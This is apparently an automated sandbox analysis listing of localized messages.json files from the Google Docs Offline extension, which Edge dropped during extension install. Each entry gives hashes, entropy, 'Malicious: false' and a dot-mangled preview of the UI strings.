C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
